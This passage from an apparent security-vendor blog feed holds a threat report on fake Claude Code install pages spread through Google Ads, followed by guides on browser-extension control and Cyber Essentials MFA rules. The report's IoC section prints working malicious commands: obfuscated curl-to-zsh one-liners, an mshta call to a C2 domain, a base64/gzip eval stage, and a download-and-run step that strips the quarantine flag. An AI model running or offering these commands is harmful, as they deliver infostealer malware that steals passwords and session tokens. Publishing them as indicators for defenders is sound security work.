</b></p><p>We&#39;re tracking a technique we&#39;re calling <b>InstallFix</b>: a clever social engineering attack where threat actors clone the installation pages of legitimate CLI tools and present victims with malicious install commands disguised as the real thing. In each case, the mechanic is the same: the victim sees what looks like a familiar install command, copies it, pastes it, and runs it. Except the command they run is not the one they expected.</p><p>Feeling *Fix fatigue? Us too. But we felt the naming appropriate to indicate that this is part of the same family of techniques. ClickFix has become synonymous with <a href="https://attack.mitre.org/techniques/T1204/004/"><u>Malicious Copy and Paste</u></a>, even though most lures haven’t been related to “fixing” anything for a while now. The user action is essentially the same, just the context of the lure is different. </p><p>But while traditional ClickFix attacks need to manufacture a reason for the user to run a command: a fake CAPTCHA, a fabricated error message, a bogus system prompt — InstallFix doesn&#39;t need any of that. The pretext is simply the user wanting to install legit software.</p><hr/><h1><b>InstallFix Claude Code campaign teardown</b></h1><p>All you need to make this attack work is a popular tool you can impersonate. Naturally, this makes trendy AI tools a popular choice. Then, you just need to boost your lure to deliver it to unsuspecting victims via search engine. The most common way of doing this is through sponsored results — aka malvertising. </p><p>In the recent examples identified by Push researchers, attackers have simply cloned the installation webpages for tools and updated the installation instructions with malicious commands. </p><h2>A new campaign targeting Claude Code</h2><p>We&#39;ve recently observed a campaign that puts this technique into practice against one of the fastest-growing developer tools on the market: Anthropic&#39;s Claude Code.</p><p>Claude Code is a command-line AI coding assistant that has rapidly become the go-to for both experienced developers and amateur vibe-coders. Like many modern CLI tools, the recommended installation method is a one-liner that pipes a remote script into a shell. </p><p>The attacker&#39;s approach is straightforward. They clone the Claude Code installation page (layout, branding, documentation sidebar, and all), hosting it on a lookalike domain. The page is a near-pixel-perfect replica of the real thing. The only meaningful difference is in the installation commands themselves: instead of fetching the install script from claude.ai, the commands point to an attacker-controlled server that serves malware instead. </p><p>Unless you’re carefully reading the URL embedded in the install one-liner (and let&#39;s be honest, almost nobody does these days), the page is indistinguishable from the real one.</p><p>You can see a video of a user being served a malicious InstallFix page below.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/27TYctONO1xi4dAh0lBeYS/36d88361bbb6568410af6d95b829b4d8/image4.png" alt="Comparison of the legit page and install commands versus a malicious clone"/><figcaption>Comparison of the legit page and install commands versus a malicious clone</figcaption></figure><p>Any further interaction on the page simply redirects you to the legitimate site, too. So a victim that lands on the page and follows the fake instructions could continue normally without realizing anything had gone wrong. </p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/17m5qsbzkBXFHumXDG8Kur/50d42f3c42092cba3082c4221a0857b0/image1.gif" alt="When interacting with some of the detected pages, the user is redirected back to the legitimate site, lowering suspicion"/><figcaption>When interacting with some of the detected pages, the user is redirected back to the legitimate site, lowering suspicion</figcaption></figure><h2>Distribution via Google Ads</h2><p>The fake install pages are distributed exclusively through Google Ads, specifically through sponsored search results that appear when users search for terms like &quot;Claude Code&quot;, &quot;Claude Code install&quot;, or &quot;Claude Code CLI.&quot;</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/3ymf2ZJNmWE0U09oOQktzj/74984e9a094f01df4bcb661e23d58992/image2.png" alt="Cloned page 1"/></figure><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/YbK5GVyftUS5G09jmdxSG/cc4c2cca40f873879d69371eab526b56/image3.png" alt="Cloned page lure 2"/></figure><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/3sLwOnpET892xdFyvBtzfn/956963620a9cec4bafd3b3a63f0426b0/image5.png" alt="Lure 3"/><figcaption>Google Search sponsored results for Claude Code cloned pages</figcaption></figure><p>Malvertising is an extremely prevalent distribution method <a href="https://pushsecurity.com/blog/google-search-malvertising-campaign-continues-now-impersonating-ahrefs/"><u>we&#39;ve seen used extensively</u></a> to distribute both phishing payloads and ClickFix-style lures (including the <a href="https://pushsecurity.com/blog/consentfix/"><u>ConsentFix</u></a> campaign we uncovered last year). <b>In fact, 4 in 5 ClickFix lures we intercept are accessed from search engines.</b></p><p>Malvertising via Google Search is an effective delivery vector because it bypasses email-based security controls entirely. There&#39;s no phishing email to flag, no suspicious link in a message. The user initiates the interaction themselves by searching for something they genuinely intend to install. This is one of the reasons that attackers are <a href="https://pushsecurity.com/blog/cyber-criminal-ecosystem-analysis/"><u>doubling down on targeting ad manager accounts</u></a> to be able to hijack existing ad budgets and spin up even more malicious ads.</p><p><b>The reality is that users are going to encounter malicious links through stealthy channels like malvertising every day, just through normal internet browsing</b>, without being actively targeted. That said, ads can be targeted too: Google Ads can be tuned to searches coming from specific geographic locations, tailored to specific email domain matches, or specific device types (e.g. desktop, mobile, etc.). So if you&#39;ve got sufficient intel on your target, you can tailor the ad accordingly. </p><p>Since the sponsored result appears above the organic results for the legitimate Claude Code documentation and the displayed URL in the ad appears plausible, victims are more likely to quickly click and access the domain without checking it out fully. Search engines typically suppress subdomains from displayed URLs too, giving the attacker additional cover for the lookalike domain.</p><h2>The payload</h2><p>The malware initiates execution through cmd.exe (PID 8444), which spawns mshta.exe (PID 8700) to retrieve and execute content from a remote URL. The command structure indicates staged execution:</p><ul><li><p>cmd.exe executes a command-line instruction to launch mshta.exe with a URL parameter pointing to https://claude[.]update-version[.]com/claude</p></li><li><p>mshta.exe (child process) is invoked to fetch and execute HTML/script content from the malicious domain</p></li><li><p>conhost.exe (PID 8496) is spawned as a console host, likely to support command execution output</p></li></ul><p>The MacOS payload also uses additional encoding and staged execution layers.</p><p><b>You can see the full list of IoCs at the end of the blog.   </b></p><p>Our analysis shows us that the payload matches the Yara signatures for the Amatera Stealer malware, retrieved from the command-and-control domain claude[.]update-version[.]com.</p><p>Amatera is a relatively new infostealer used by cybercriminals to steal sensitive data, such as browser saved passwords, cookies, session tokens, and general system information. It started appearing publicly around 2025 and is considered an evolution of an older malware family called ACR Stealer, and is sold via subscription to criminal operators.</p><p>The malware uses various techniques designed to bypass AV/EDR, including direct NTSockets for C2, dynamic API resolution with WoW64 Syscalls, and multi-stage infection chains with dynamic payload delivery. Amatera communicates with its C2 server using hardcoded IP addresses belonging to legitimate CDNs, making the traffic difficult to block without disrupting legitimate services.</p><p>Notably, we saw different sites executing identical binaries, further indicating that these are part of a single attacker campaign. </p><p><b>Edit: </b>When investigating different domains, we found additional research that indicates a variety of similar payloads being distributed. Our primary focus here is on the scale of the campaign and the lure delivery technique rather than deep analysis of the malware itself. Check out <a href="https://medium.com/@maurice.fielenbach/paste-with-caution-how-a-fake-claude-code-installer-drops-a-fileless-implant-via-deserialization-a85068955c0a">this detailed analysis for one such teardown</a>, and <a href="https://www.reddit.com/r/CyberSecurityAdvice/comments/1riq3zj/i_accidentally_ran_a_suspicious_curl_command_in/">this Reddit thread</a> for another example.</p><h2>Abusing legitimate hosting services</h2><p>Another common theme we see across pretty much every phishing site these days is the abuse of legitimate domains for hosting malicious content. This allows attackers to blend in with normal web traffic and is a core <a href="https://phishing-techniques.pushsecurity.com/"><u>detection evasion technique</u></a>. </p><p>In this case, we observed Cloudflare Pages (pages.dev), Squarespace, and Tencent EdgeOne being used. </p><hr/><h1><b>A broader trend</b></h1><p>This isn&#39;t happening in isolation. Claude and its associated tools have become a recurring target for recent malware distribution campaigns:</p><ul><li><p><a href="https://www.bleepingcomputer.com/news/security/claude-llm-artifacts-abused-to-push-mac-infostealers-in-clickfix-attack/"><b><u>Fake Claude artifacts used in traditional ClickFix lures</u></b></a>: Attackers created public pages on the claude.ai domain itself (user-generated content that inherited the domain&#39;s trust) containing malicious terminal commands disguised as macOS utilities. These were promoted via hijacked Google Ads and viewed over 15,000 times before being taken down.</p></li><li><p><a href="https://hunt.io/blog/fake-homebrew-clickfix-cuckoo-stealer-macos"><b><u>Fake Homebrew installation pages</u></b></a>: Near-identical clones of the Homebrew website delivering the Cuckoo infostealer to macOS users, using the same &quot;copy this install command&quot; mechanic.</p></li><li><p><a href="https://www.huntress.com/blog/openclaw-github-ghostsocks-infostealer"><b><u>Fake OpenClaw installers on GitHub</u></b></a>: Malicious repositories impersonating the popular AI agent tool, boosted by Bing&#39;s AI search results, delivering infostealers and the GhostSocks proxy malware.</p></li><li><p><a href="https://thehackernews.com/2026/02/malicious-npm-packages-harvest-crypto.html"><b><u>Trojanised npm packages</u></b></a>: Malicious packages mimicking Claude Code&#39;s official npm package name, targeting developers who might make a typo or trust an unofficial source.</p></li></ul><p>But this isn’t just a Claude problem — any tool or site that is likely to get clicks, and can be easily cloned, is a potential target for malvertising and impersonation. For example, we’ve also recently seen attackers target free web tools with clever ClickFix lures that only load after an attacker has interacted with the page — in the example below, uploading a file to remove an image background, or convert a document to PDF. These are clones of real sites that attackers have cloned because they allow them to intercept users entering common search terms. </p><hr/><h2><b>How Push detects InstallFix</b></h2><p>Regardless of the delivery channel, whether it&#39;s a phishing email, a malvertising lure, or a fake install page, all roads lead to a web page loaded in the user&#39;s browser, and that&#39;s where Push operates.</p><p>Push sees what the user sees: the page as it renders in the browser, in real time. This means we can detect InstallFix pages by identifying the combination of signals that characterise them: lookalike domains impersonating known developer tools, copy-to-clipboard elements containing shell commands, and the presence of malvertising delivery indicators.</p><p>Because Push detects threats directly in the browser, it doesn&#39;t matter that the attack came from a Google Search ad rather than an email. There&#39;s no phishing email for a Secure Email Gateway to inspect — the user searched for and navigated to the page themselves. But the page still loads in the browser, where Push is there to catch it.</p><p>To learn more about how Push protects against InstallFix, ClickFix, and other browser-based attacks, <a href="https://pushsecurity.com/resources/product-brochure"><u>check out our latest product overview</u></a>, <a href="https://pushsecurity.com/product-demo/"><u>visit our demo library</u></a>, or <a href="https://pushsecurity.com/demo"><u>book some time with one of our team for a live demo</u></a>.</p><hr/><h1><b>IoCs</b></h1><p>As we always say, short-lived IoCs are of limited value when tackling modern phishing attacks due to the rate at which attackers are able to <a href="https://phishing-techniques.pushsecurity.com/techniques/domain-rotation-redirection/"><u>quickly spin up and rotate the sites used</u></a> in the attack chain. IoC-based detections for campaigns like this are of limited value.</p><p>This is a fast-moving situation, with domains constantly being spun up. At the time of writing, the domains observed were:</p><p><b>Cloned domains:</b></p><ul><li><p>claud-code[.]pages[.]dev</p></li><li><p>claulastver[.]squarespace[.]com</p></li><li><p>claudecode-developers[.]squarespace[.]com</p></li><li><p>hgjbulk.pages[.]dev</p></li><li><p>jhgyuifyfiguohi[.]pages[.]dev</p></li><li><p>hgjbulk.pages[.]dev</p></li><li><p>claude-code-install[.]squarespace[.]com</p></li><li><p>claude-code-docs-site[.]pages[.]dev</p></li><li><p>claulastver[.]squarespace[.]com</p></li><li><p>cladueall[.]pages[.]dev</p></li><li><p>claude-code-docs-dvlr2jpuuw[.]edgeone[.]app</p></li><li><p>myclauda[.]it[.]com</p></li><li><p>vdsafsaf[.]it[.]com</p></li><li><p>asdasdasdadsvvvvv[.]pages[.]dev/</p></li><li><p>nnnnnnnnnnnnnnnnnnnnn[.]pages[.]dev</p></li><li><p>claude-code-macos[.]com</p></li><li><p>claude-code-docs-site[.]pages[.]dev</p></li><li><p>claude-code-update[.]squarespace[.]com</p></li><li><p>claudecodeupdate[.]squarespace[.]com</p></li><li><p>notebooklm-version-upd[.]squarespace[.]com</p></li><li><p>notklmalans[.]pages[.]dev</p></li></ul><p><b>Domains hosting malicious payload:</b></p><ul><li><p>contatoplus[.]com</p></li><li><p>sarahmoftah[.]com</p></li><li><p>claude[.]update-version[.]com</p></li></ul><p><b>Commands:</b></p><p><code>curl -ksfLS $(echo &#39;aHR0cHM6Ly9jb250YXRvcGx1cy5jb20vY3VybC84ZDJkMjc1MzYwYWRlZGVjZmJiZDkxNTY3ZGFkZGVlZDgwZDIwYWNlYjhhYTQzMjBkMDZhMjE0ODY0OTM5NDVi&#39;|base64 -D)| zsh</code></p><p></p><p><code>curl -sfkSL $(echo &#39;aHR0cHM6Ly93cmljb25zdWx0LmNvbS9jdXJsLzhhZjY1YmEzODg1ZDZlMjU5NmVhMmNlMmRiNGEzYmM1ZWUwMmI4ZGViMzM2ZjlhZTkzZTI2MmM0ZGIwMGI3NTc=&#39;|base64 -D)| zsh</code></p><p>
</p><p><code>C:\Windows\SysWOW64\mshta.exe https://claude.update-version.com/claude </code></p><p>
<b>Base64 decoded url:</b></p><p><code>contatoplus[.]com/curl/8d2d275360adedecfbbd91567daddeed80d20aceb8aa4320d06a21486493945b </code></p><p></p><p><code>saramoftah[.]com/curl/958ca005af6a71be22cfcd5de82ebf5c8b809b7ee28999b6ed38bfe5d19420</code></p><p>
<b>Second stage:</b></p><p><code>#!/bin/zsh</code></p><p><code>mkgrc9=$(base64 -D &lt;&lt;&#39;PAYLOAD_END&#39; | gunzip</code></p><p><code>H4sIAKgRpGkC/13LPQqAMAxA4b2niAhdpGYVbxPbSoT+0UYonl5HdXwfvHHA7Uh4NVb2rAFMBpRYkH0ovgKLlLYiNqoU8y7Es80R05LwLI7Eg9bQSaSCsZ/zccsxO5j631+pbrYTnkSAAAAA</code></p><p><code>PAYLOAD_END</code></p><p><code>)</code></p><p><code>eval &quot;$mkgrc9&quot;</code></p><p>
<b>Binaries:</b></p><p><code>#!/bin/zsh</code></p><p><code>curl -o /tmp/helper https://saramoftah.com/n8n/update &amp;&amp; xattr -c /tmp/helper &amp;&amp; chmod +x /tmp/helper &amp;&amp; /tmp/helper</code></p>]]></content:encoded>
    </item>
    <item>
      <title>Guide: How to manage and block browser extensions using Push</title>
      <link>https://pushsecurity.com/blog/browser-extension-management-guide</link>
      <guid isPermaLink="true">https://pushsecurity.com/blog/browser-extension-management-guide</guid>
      <pubDate>Wed, 04 Mar 2026 00:00:00 GMT</pubDate>
      <dc:creator>Dan Green</dc:creator>
      <category>Browser-based attacks</category>
      <category>Detection &amp; response</category>
      <description>How to detect risky and malicious extensions and block them from running in employee browsers. </description>
      <content:encoded><![CDATA[<p>Attackers are doubling down on malicious browser extensions as their method of choice. Recent campaigns like <a href="https://www.bleepingcomputer.com/news/security/shadypanda-browser-extensions-amass-43m-installs-in-malicious-campaign/"><u>ShadyPanda</u></a>, <a href="https://www.bleepingcomputer.com/news/security/zoom-stealer-browser-extensions-harvest-corporate-meeting-intelligence/"><u>ZoomStealer</u></a>, <a href="https://www.bleepingcomputer.com/news/security/malicious-ghostposter-browser-extensions-found-with-840-000-installs/"><u>GhostPoster</u></a>, and the breaches impacting vendors like <a href="https://www.bleepingcomputer.com/news/security/cybersecurity-firms-chrome-extension-hijacked-to-steal-users-data/"><u>Cyberhaven</u></a> and <a href="https://www.bleepingcomputer.com/news/security/trust-wallet-confirms-extension-hack-led-to-7-million-crypto-theft/"><u>Trust Wallet</u></a>, all highlight the threat posed by malicious extensions. </p><p>Most malicious extensions didn’t start that way. Attackers often begin with a legitimate extension — either by creating something that is initially benign, purchasing an extension that already exists and has a large number of installs, or by phishing an extension developer’s account to publish a malicious version. Then, they bide their time, waiting for the right moment to flip the switch and deploy a malicious update, compromising every browser that they’re deployed to. </p><p>Imagine the scenario. There’s a small dev team responsible for a basic but widely used extension (let’s say a color picker tool) with millions of users. An attacker just needs to phish a dev (that might not even be working from a device with proper security software or controls), grab the extension code that is publicly available from the store, insert obfuscated malicious code, and upload the new version to the store. As soon as the extension updates, millions of browsers are compromised. </p><p><b>This is why we take our own security processes around extension management so seriously. </b><a href="https://pushsecurity.com/blog/guide-to-secure-browser-extension-deployment/"><b><u>You can find out more about our process here</u></b></a><b>. </b></p><hr/><h1><b>Why tackling malicious extensions is a hard problem for security teams</b></h1><p>The Chrome extension store alone has in excess of 100k extensions with a wide range of use cases. Pretty much every major app today has an extension counterpart, and there are countless smaller extensions — from AI overlays, to screen recording, spell checking, and color matching. AI-assisted development has further increased the rate at which new extensions are created and added to the marketplace (for both legit developers and malicious ones). </p><p>For organizations just beginning to think about extension management, this isn’t an easy problem to get a handle on. If you’ve allowed your employees to freely install extensions without restriction, then there could be hundreds, if not thousands, of different extensions in use across your business. </p><h2><b>Malicious extensions are good at hiding bad code</b></h2><p>Right now, extension stores are fighting a losing battle against attackers. </p><ul><li><p>Malicious extensions are being regularly uploaded, bypassing code analysis checks, and even achieving <a href="https://thehackernews.com/2026/02/malicious-chrome-extensions-caught.html"><u>“Featured” or “Verified” status</u></a> in the app stores. This is because attackers are using dynamically compiled, stealthily smuggled code that can’t be reliably spotted through static code checks or sandbox analysis. </p></li><li><p>Bad isn&#39;t detected until an extension is observed doing malicious things in the wild. Most of the time, this is because there’s been a breach. </p></li><li><p>When an extension is reported as bad, it enters a lengthy review process. Unless there’s pressure to act quickly (e.g. there’s a large amount of reporting), it won’t get prioritized. </p></li><li><p>Just because an extension is removed from the store doesn’t mean that it’s automatically removed from browsers where it is installed. </p></li></ul><p><b>The bottom line:</b> <b>The security teams at Google and Microsoft analyse and manually approve every single extension upload and code change that enters their store, and even they aren’t detecting bad before malware executes in the victim’s browser. </b></p><p>Today, there’s no single magic bullet tool or control that organizations can use — unless you simply want to disable browser extensions altogether, which might not be the best option for users and their productivity.</p><p>Fortunately, Push is in a good position to help, with its ability to inventory all your browser extensions and help you find and block malicious ones.</p><hr/><h1><b>How to securely manage browser extensions (and how Push can help)</b></h1><p>Here’s our step-by-step guide to securely using browser extensions in your organization.</p><ul><li><p>Step 0: Enable <b>malicious browser extension detection</b> to stop known-bad extensions from running in your environment. </p></li><li><p>Step 1: Establish an inventory of extensions currently in use across your users and their browsers. </p></li><li><p>Step 2: Risk-assess the extensions running in your environment using Push data.</p></li><li><p>Step 3: Create an allowlist or blocklist to control the extensions active in your environment.</p></li><li><p>Step 4: Monitor for risky changes.</p></li></ul><h2><b>Step 0: Enable malicious browser extension detection in the Push platform</b></h2><p>First, we recommend you take action to ensure that extensions reported as suspicious or malicious are blocked from running in your environment. </p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/5DUcgBc8Fcx825yar7LX67/f18970551bfb9d59f206add2af106b89/image6.png" alt="Enabling the malicious extension detection feature in the Push platform"/><figcaption>Enabling the malicious extension detection feature in the Push platform</figcaption></figure><p>Even if you’re blocking employees from installing extensions without admin approval, an extension that was safe and approved yesterday can be malicious today. This is why it’s vital that organizations proactively block known-bad extensions — particularly when extension stores cannot be relied upon to disable extensions already installed in your employee browsers. Early intervention can mean the difference between a malicious update being deployed and browser secrets being stolen, and disabling the extension before any harm is done. </p><p>If you’re a Push customer, you can ensure that any extension that is reported as malicious is automatically blocked in your environment. This means that the extension gets disabled and cannot run in any browser with the Push extension installed. </p><p>The Push Security research team maintains a global list of known-bad extensions based on threat intelligence reporting. This list is continuously updated and ensures that as soon as an extension is reported as malicious, it is blocked. </p><p>You can enable the control via the Controls page in the Push admin console. Admins can configure rules in Off, Monitor, or Block mode. Block mode is recommended, meaning that extensions are disabled and web store access is blocked. You can read more about this in our <a href="https://pushsecurity.com/help/how-does-push-detect-malicious-browser-extensions">Help Center</a>. </p><p>When an extension is flagged as malicious, a detection event will be generated and appear on the Detections page in the Push admin console. The severity of these detections is classified as follows:</p><ul><li><p><b>Low</b> for an extension that has never been enabled. The control prevented either the installation or the extension from being enabled.</p></li><li><p><b>Medium</b> for an extension that was installed and enabled, but has been disabled by the control. </p></li><li><p><b>High</b> if the extension was enabled and is still active (i.e. the control was in monitor mode).</p></li></ul><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/2p1cdetW36dOixy4kRIhn0/2298cef9060ae451780d359896588a39/malicious_extension_detection_slideout.png" alt="Malicious browser extension detection event including install path"/><figcaption>Malicious browser extension detection event</figcaption></figure><h2><b>Step 1: Establish an inventory of existing extensions.</b></h2><p>Next, we recommend you take stock of what’s already running in your environment so you can begin to make risk-based decisions about what you allow, and what you don’t. This means building an inventory of <b>every extension </b>running in <b>every browser. </b></p><p>Push provides real-time visibility of extensions installed in every browser across your workforce. </p><p>Push tracks several key data points, including: </p><ul><li><p>Extension name, ID, and version number</p></li><li><p>Update &amp; homepage URL</p></li><li><p>Extension permissions</p></li><li><p>Host permissions (where applicable)</p></li><li><p>Deployment method (e.g. managed, manual, sideloaded or development)</p></li><li><p>Which employees use the extension</p></li><li><p>Which browsers have the extension installed</p></li><li><p>Whether the extension is enabled or disabled</p></li><li><p>Useful metadata like install count, ownership history, update history, and whether the extension has been unlisted from the web store.</p></li></ul><p>This information is critical for assessing risk, as well as providing an early warning of future malicious intent. </p><p>You can enable browser extension visibility in the Push platform by going to <b>Settings &gt; Organization &gt; Browser extension visibility</b> and toggling on the feature.</p><h2><b>Step 2: Risk-assess the extensions running in your environment using Push data.</b></h2><p>Now that you’ve built a real-time inventory, you can start to analyse the data to find risky extensions. </p><p>Every extension that is running in your environment expands your potential attack surface, representing another node that can be compromised by an attacker. So it makes sense to only allow those that are absolutely necessary in order to sensibly control the risk. </p><p>You can start to investigate and prune extensions based on the properties tracked in the Push platform. For example:</p><ul><li><p>Extensions with a low install count from an unverified publisher. </p></li><li><p>Extensions that have been <b>sideloaded</b> (installed by software on the machine) or are <b>development</b> (installed from a folder off-disk when Developer mode is turned on)</p></li><li><p>Extensions that are used by a small number of employees for niche / non-critical functions. </p></li><li><p>Extensions with risky permissions.</p></li></ul><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/297Zj9KN9kGGkSXVK6zWiG/2b4d559fe5fec1e067e602edae889be0/Browser_extension_permission_filtering__2_.gif" alt="Browser extension permission filtering"/><figcaption>Browser extension permission filtering</figcaption></figure><p>Pretty much every extension has permissions that could be considered risky and exploited by an attacker, so permissions alone are not a great benchmark for whether it should be allowed or not. But extensive permissions plus an unverified publisher or a recent change in ownership might be enough to prioritize an extension for removal.</p><h2><b>Step 3: Create an allowlist to control the extensions active in your environment.</b></h2><p>Using the output of your risk assessment and the data provided by the Push platform, you can control the extensions that you allow your employees to use.</p><p>To do this, you need to allowlist the extensions you’re happy for employees to use (and block everything else). That way, you remove the ability for employees to add new extensions unless approved by an admin. This means you either:</p><ul><li><p>Add every extension you currently have running in your environment to an allowlist, block everything else, and then start to prune extensions from that list. </p></li><li><p>Create a shortened allowlist from the outset. </p></li></ul><p>Both are valid ways of solving the problem, with the first option being the least potentially disruptive (i.e. you’re not switching off a load of extensions in one go). That said, this might not be a viable solution depending on your company size. </p><p>If you plan to restrict the extensions that your employees can install and run, you’ll need to create a workflow where employees can request new extensions and the number of extensions that would need to be reviewed. This is something that you should be able to create using your ITSM tooling in the same way that any other software is requested. </p><p><b>You can do this in lots of different ways depending on the OS and browsers used across your workforce. This can get messy depending on the complexity of your environment. But you can do it in a streamlined, browser-agnostic way </b><a href="https://pushsecurity.com/help/10138/#start"><b><u>using Push</u></b></a><b>. </b></p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/2hFpE2X60adttS6vAtyUIO/963e14eb2899163f583e7342db3f0650/image5.png" alt="This extension is not approved for business use"/><figcaption>Employees will see a customizable block screen when trying to use extensions that are not approved.</figcaption></figure><p>Managing which extensions you’ve opted to allow is a continuous process that will change as user behavior changes and new extensions are added. It’s important that you regularly review whether your current allowlist is fit for purpose. </p><h2><b>Step 4: Monitor for risky changes.</b></h2><p>Finally, once you’ve begun the process of pruning the extensions in your environment and you’ve reached a baseline you’re happy with, it’s now about reviewing and approving any new extension requests, and monitoring for risky changes. </p><p>We recommend monitoring for things like:</p><ul><li><p>Regularly reviewing changes in extension ownership + recent updates</p></li><li><p>Monitoring for updates to extensions to track risky permissions being added </p></li><li><p>Monitoring for new malicious browser extension detections</p></li></ul><p>It’s super simple to use Push data to create alerts and feed your detection and response workflows. <a href="https://pushsecurity.com/help/audience/administrators/docs/connect-to-siem-or-soar/#start"><u>See how to connect Push to your SIEM/SOAR and learn more about the Push REST API and webhooks. </u></a></p><p>At this point, you can then triage and investigate further to see whether additional action is required. </p><blockquote><p><b>And there you have it! You’ve secured browser extension use across your organization using Push. </b></p></blockquote><hr/><h2><b>Don’t take our word for it …</b></h2><p>Our friends at GitLab echo our thoughts on browser extensions and the value of tools like Push that help them to solve this problem.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/xod7FhG6yTK1iTePEKahw/7f30d66068fd2e36648ed9bab35920c4/image7.png" alt="GitLab malicious extensions quote"/></figure><hr/><h1><b>Additional tips</b></h1><h2><b>Disable browser syncing</b></h2><p>If you’re in the early stages of your extension management process, an extra step you might want to consider is disabling browser syncing for extensions. </p><p>When we deploy Push, we find it’s not unusual for people to sign into their work browser with a personal email profile. There’s a significant risk here — if you end up saving and syncing credentials across devices, a compromise on a (usually less secure) personal device can lead to business accounts being compromised. Notably, this was exploited in a <a href="https://sec.okta.com/articles/harfiles/"><u>2023 Okta security breach</u></a>.</p><p>The same model applies to browser extensions. By default, any extension installed from the web store is synced across devices where a profile is logged in and syncing is enabled. </p><p>As an example, you can see how to disable browser extension syncing if you manage Chrome in Google Workspace.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/5YSw6EyTZgcx36eXwwdrBQ/8b4ea60632667f07bb6d11841aa8a86c/image4.png" alt="Disable browser extension syncing in Google Workspace"/></figure><p>This only applies if you haven’t yet created an allowlist for extensions in your environment, in which case any extensions not on the list will be blocked. </p><p>You can also use Push to surface which users are logged into their browser using a non-work profile and whether the profile is synced across devices. </p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/3eWEtmkukL5JzeArcty88m/22aec4f6ce2ef0d309eab015e1efe493/image1.png" alt="See browser profile across all browsers using Push"/><figcaption>See browser profile across all browsers using Push</figcaption></figure><hr/><h1><b>Learn more about Push</b></h1><p>Push Security’s browser-based security platform stops browser-based attacks like AiTM phishing, credential stuffing, malicious browser extensions, ClickFix, and session hijacking — <a href="https://pushsecurity.com/resources/browser-attacks-report">modern attack techniques that are the leading cause of breaches today</a>.</p><p>You don’t need to wait until it all goes wrong either. You can also use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, and more to harden your attack surface.</p><p>Want to learn more about Push? <a href="https://pushsecurity.com/resources/product-brochure"><u>Check out our latest product overview</u></a>, <a href="https://pushsecurity.com/product-demo/"><u>visit our demo library</u></a>, or <a href="https://pushsecurity.com/demo"><u>book some time with one of our team for a live demo</u></a>.</p>]]></content:encoded>
    </item>
    <item>
      <title>Cyber Essentials April 2026 update: Mandatory MFA on ALL cloud services (and how Push can help)</title>
      <link>https://pushsecurity.com/blog/cyber-essentials-april-2026-update</link>
      <guid isPermaLink="true">https://pushsecurity.com/blog/cyber-essentials-april-2026-update</guid>
      <pubDate>Thu, 12 Feb 2026 00:00:00 GMT</pubDate>
      <dc:creator>Dan Green</dc:creator>
      <category>Risk management</category>
      <category>Browser security</category>
      <description>Big changes are being made to the Cyber Essentials scheme in 2026 that will change how companies must validate compliance. Here’s what you need to know. </description>
      <content:encoded><![CDATA[<h1><b>Key changes for 2026 — and what they mean in practice</b></h1><p>Backed by the UK’s National Cyber Security Centre (NCSC), Cyber Essentials is a minimum requirement for operating in the UK and working with UK businesses. NCSC and IASME have issued an <a href="https://www.ncsc.gov.uk/files/cyber-essentials-requirements-for-it-infrastructure-v3-3.pdf"><u>updated requirements document</u></a> as well as <a href="https://iasme.co.uk/articles/upcoming-changes-to-the-cyber-essentials-scheme-april-2026-update/"><u>guidance on the changes</u></a> planned to go-live in April 2026. The key changes relate to the definition of cloud services and the expectations around MFA enforcement, which will significantly expand the breadth of cloud and SaaS services in scope, as well as how compliance is measured.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/fIVcKhF4DdxwjGFPBv8AP/744683ac8a97c90483b98cf2289c8c8a/image8_1.png" alt="Update to the definition of cloud services (NCSC): i.e. any service that is accessed with a business email or account."/><figcaption>Update to the definition of cloud services (NCSC): i.e. any service that is accessed with a business email or account.</figcaption></figure><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/1Kn7L6pvmeNtC5SLOL92Af/4311c559323df3613d7ed2038bf6a50a/image1_6.png" alt="Changes to the marking criteria (IASME): i.e. MFA is expected to be enforced for logins to every cloud service."/><figcaption>Changes to the marking criteria (IASME): i.e. MFA is expected to be enforced for logins to every cloud service.</figcaption></figure><p>This means that:</p><ul><li><p>Any service accessed via a business email or account is considered in-scope. It doesn’t matter whether this is a “free” tier account on a SaaS service or a fully managed enterprise cloud platform. </p></li><li><p>If a service offers MFA, it <b>must</b> be enabled for <b>all users</b>. (Apps that don’t offer MFA are incredibly rare).</p></li><li><p>If a service offers MFA only as a &quot;paid add-on&quot; or part of a higher subscription tier (e.g., &quot;Enterprise&quot; vs. &quot;Basic&quot;), you are now required to pay for and enable it. </p></li><li><p>If the service doesn&#39;t have native MFA but allows you to sign in via a provider that <i>does</i> (like &quot;Sign in with Microsoft&quot; or Google), you must use only that method.</p></li><li><p>This means that if &quot;shadow&quot; apps and accounts are identified — e.g. they find that your team is using a SaaS tool that doesn&#39;t have MFA, and it wasn&#39;t listed in your submission — you will be non-compliant.</p></li></ul><p>This has significant ramifications for the attestation process that requires comprehensive visibility of every app, login method, and MFA factor. </p><hr/><h1><b>Don’t worry, Push Security has the solution</b></h1><p>Push provides you with visibility of every single cloud app your employees access and how they’re authenticating to them, giving you the controls needed to automatically enforce MFA and strong, unique passwords on all your corporate accounts. </p><p>Push is able to do this by deploying into your employees’ existing browser, from where it observes the actual login process in real-time. This allows Push to capture 100% of cloud app usage, including free-tier apps and those accessed via personal email addresses or local credentials, which centralized SSO logs would miss.</p><p>Here’s a short interactive demo that shows you how Push helps you to prepare for Cyber Essentials by capturing all your cloud services and making sure MFA is enabled on all your user accounts.</p><p>This isn’t all Push does — we also detect and stop browser-native attacks like zero-day phishing, AitM toolkits, ClickFix attacks and account takeover — but more on that later. </p><hr/><h1><b>But all our apps are managed and accessed via SSO…</b></h1><p>Most organizations work on the assumption that their employees are using SSO to access the suite of business apps they use on a daily basis. Apps go through an onboarding process where they are configured to use the preferred SSO method (e.g. SAML, OIDC) from the preferred identity provider (Okta, Microsoft, Google, etc.). By enforcing secure login requirements on how 